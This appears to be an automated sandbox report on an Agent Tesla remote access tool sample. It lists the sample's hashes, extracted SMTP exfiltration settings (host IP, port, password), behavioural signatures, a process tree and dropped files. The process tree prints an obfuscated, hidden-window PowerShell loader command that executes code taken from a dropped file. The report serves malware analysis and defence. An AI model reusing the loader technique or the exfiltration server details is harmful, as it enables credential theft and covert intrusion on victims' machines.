Analysis
- max time kernel
95s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
28/01/2025, 01:06
General
- Target d9092c1ebe261746efcb538fccda3e27c41e8f011ebc03f5983ad8f9a9f88c4a.exe
- Size 882KB
- Sample250128-bf3pfssmak
- SHA256 d9092c1ebe261746efcb538fccda3e27c41e8f011ebc03f5983ad8f9a9f88c4a
Malware Config
Extracted
-
agenttesla
-
Protocol
smtp
-
Host
162.254.34.31
-
Port
587
-
Username
-
Password
JaR4LTajHPY5
-
Email to
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Agenttesla family
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Loads dropped DLL 1 IoCs
- Blocklisted process makes network request 3 IoCs
- Drops file in System32 directory 1 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Drops file in Windows directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\d9092c1ebe261746efcb538fccda3e27c41e8f011ebc03f5983ad8f9a9f88c4a.exe"C:\Users\Admin\AppData\Local\Temp\d9092c1ebe261746efcb538fccda3e27c41e8f011ebc03f5983ad8f9a9f88c4a.exe"1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Riddersmands=gc -raw 'C:\Users\Admin\AppData\Local\faculative\bladanen\budges\Fiskehandlers\Hallahs.Sal22';$Arbejdsgiverforening=$Riddersmands.SubString(72330,3);.$Arbejdsgiverforening($Riddersmands) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4660 -s 20124⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4660 -ip 46601⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_f1egec1x.zf3.ps1
nsExec.dll
Hallahs.Sal22
nippende.til
memory/3300-70-0x0000000007620000-0x00000000076C3000-memory.dmp
memory/3300-34-0x0000000073DF0000-0x00000000745A0000-memory.dmp
memory/3300-35-0x00000000051D0000-0x00000000051F2000-memory.dmp
memory/3300-37-0x0000000005B10000-0x0000000005B76000-memory.dmp
memory/3300-36-0x0000000005AA0000-0x0000000005B06000-memory.dmp
memory/3300-32-0x0000000005240000-0x0000000005868000-memory.dmp
memory/3300-47-0x0000000005B80000-0x0000000005ED4000-memory.dmp
memory/3300-48-0x00000000061B0000-0x00000000061CE000-memory.dmp
memory/3300-49-0x00000000061E0000-0x000000000622C000-memory.dmp
memory/3300-50-0x00000000071A0000-0x0000000007236000-memory.dmp
memory/3300-51-0x0000000006690000-0x00000000066AA000-memory.dmp
memory/3300-52-0x0000000006700000-0x0000000006722000-memory.dmp
memory/3300-53-0x0000000007800000-0x0000000007DA4000-memory.dmp
memory/3300-33-0x0000000073DF0000-0x00000000745A0000-memory.dmp
memory/3300-55-0x0000000008430000-0x0000000008AAA000-memory.dmp
memory/3300-57-0x00000000075B0000-0x00000000075E2000-memory.dmp
memory/3300-56-0x0000000073DF0000-0x00000000745A0000-memory.dmp
memory/3300-58-0x0000000070270000-0x00000000702BC000-memory.dmp
memory/3300-68-0x00000000075F0000-0x000000000760E000-memory.dmp
memory/3300-69-0x0000000073DF0000-0x00000000745A0000-memory.dmp
memory/3300-72-0x0000000007760000-0x0000000007771000-memory.dmp
memory/3300-31-0x0000000004BD0000-0x0000000004C06000-memory.dmp
memory/3300-71-0x0000000007720000-0x000000000772A000-memory.dmp
memory/3300-73-0x00000000077B0000-0x00000000077BE000-memory.dmp
memory/3300-74-0x00000000077C0000-0x00000000077D4000-memory.dmp
memory/3300-75-0x0000000007EF0000-0x0000000007F0A000-memory.dmp
memory/3300-76-0x00000000077F0000-0x00000000077F8000-memory.dmp
memory/3300-77-0x0000000007EF0000-0x0000000007F1A000-memory.dmp
memory/3300-78-0x0000000007F40000-0x0000000007F64000-memory.dmp
memory/3300-79-0x0000000073DFE000-0x0000000073DFF000-memory.dmp
memory/3300-80-0x0000000073DF0000-0x00000000745A0000-memory.dmp
memory/3300-81-0x0000000073DF0000-0x00000000745A0000-memory.dmp
memory/3300-83-0x0000000073DF0000-0x00000000745A0000-memory.dmp
memory/3300-84-0x0000000073DF0000-0x00000000745A0000-memory.dmp
memory/3300-30-0x0000000073DFE000-0x0000000073DFF000-memory.dmp
memory/3300-86-0x0000000073DF0000-0x00000000745A0000-memory.dmp
memory/3300-88-0x0000000073DF0000-0x00000000745A0000-memory.dmp
memory/3300-87-0x0000000008AB0000-0x000000000B66C000-memory.dmp
memory/3300-89-0x0000000073DF0000-0x00000000745A0000-memory.dmp
memory/3300-90-0x0000000073DF0000-0x00000000745A0000-memory.dmp
memory/3300-92-0x0000000073DF0000-0x00000000745A0000-memory.dmp
memory/3300-93-0x0000000073DF0000-0x00000000745A0000-memory.dmp
memory/3300-94-0x0000000073DF0000-0x00000000745A0000-memory.dmp
memory/4660-101-0x0000000001200000-0x0000000002454000-memory.dmp